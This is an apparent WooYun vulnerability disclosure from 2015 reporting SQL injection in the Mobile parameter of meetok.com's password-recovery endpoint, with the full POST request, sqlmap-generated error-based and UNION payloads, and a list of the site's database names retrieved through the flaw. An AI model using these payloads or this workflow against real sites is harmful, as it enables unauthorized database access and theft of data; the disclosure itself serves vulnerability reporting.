当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0121971

漏洞标题：米到仓主站SQL注入

相关厂商：meetok.com

漏洞作者： 天地不仁 以万物为刍狗

提交时间：2015-06-23 15:46

修复时间：2015-06-28 15:48

公开时间：2015-06-28 15:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-23： 细节已通知厂商并且等待厂商处理中
2015-06-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

········································································································································································································································································································································································

详细说明：

POST数据包：

POST /LogOn/FindMobileCode HTTP/1.1
Host: www.meetok.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.meetok.com/LogOn/DISFindPwd
Content-Length: 47
Cookie: Hm_lvt_7112016fa110c2353d2ce948e7d84fbc=1434877657; Hm_lpvt_7112016fa110c2353d2ce948e7d84fbc=1434877724
X-Forwarded-For: 8.8.8.8'
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
type=DISFindBack&Company=DIS&Mobile=13800138000


mobile 参数未过滤（具体参数见下图以及漏洞证明）

0.png


14个数据库

1.png


2.png


疑似通用 你们就不能放几个成功案例的网站让我试试吗？·······

漏洞证明：

POST parameter 'Mobile' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] n
sqlmap identified the following injection points with a total of 48 HTTP(s) requ
ests:
---
Parameter: Mobile (POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: type=DISFindBack&Company=DIS&Mobile=13800138000' AND 4170=CONVERT(I
NT,(SELECT CHAR(113)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (
4170=4170) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(
98)+CHAR(113))) AND 'wCUp'='wCUp
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: type=DISFindBack&Company=DIS&Mobile=13800138000' UNION ALL SELECT N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+C
HAR(98)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(83)+CHAR(97)+CHAR(109)+CHAR(97)+CHAR(
81)+CHAR(77)+CHAR(121)+CHAR(88)+CHAR(72)+CHAR(78)+CHAR(113)+CHAR(118)+CHAR(122)+
CHAR(98)+CHAR(113)--
---
[17:18:50] [INFO] testing Microsoft SQL Server
[17:18:50] [INFO] confirming Microsoft SQL Server
[17:18:50] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[17:18:50] [INFO] fetching database names
[17:18:50] [INFO] the SQL query used returns 15 entries
[17:18:50] [INFO] starting 10 threads
[17:18:50] [INFO] retrieved: HHG
[17:18:51] [INFO] retrieved: KJ_FX_Web
[17:18:51] [INFO] retrieved: master
[17:18:51] [INFO] retrieved: hmb2c
[17:18:51] [INFO] retrieved: JQG
[17:18:51] [INFO] retrieved: meetok_com
[17:18:51] [INFO] retrieved: model
[17:18:51] [INFO] retrieved: ReportServerTempDB
[17:18:51] [INFO] retrieved: msdb
[17:18:51] [INFO] retrieved: ReportServer
[17:18:51] [INFO] retrieved: tempdb
[17:18:51] [INFO] retrieved: TititaTuan_ERP
[17:18:51] [INFO] retrieved: Test
[17:18:51] [INFO] retrieved: TititaTuan_ERP
[17:19:20] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
[17:19:22] [INFO] retrieved: NBSX
available databases [14]:
[*] HHG
[*] hmb2c
[*] JQG
[*] KJ_FX_Web
[*] master
[*] meetok_com
[*] model
[*] msdb
[*] NBSX
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] Test
[*] TititaTuan_ERP
[17:19:22] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.meetok.com'
[*] shutting down at 17:19:22

修复方案：

有礼物不？

版权声明：转载请注明来源 天地不仁 以万物为刍狗@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-06-28 15:48

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无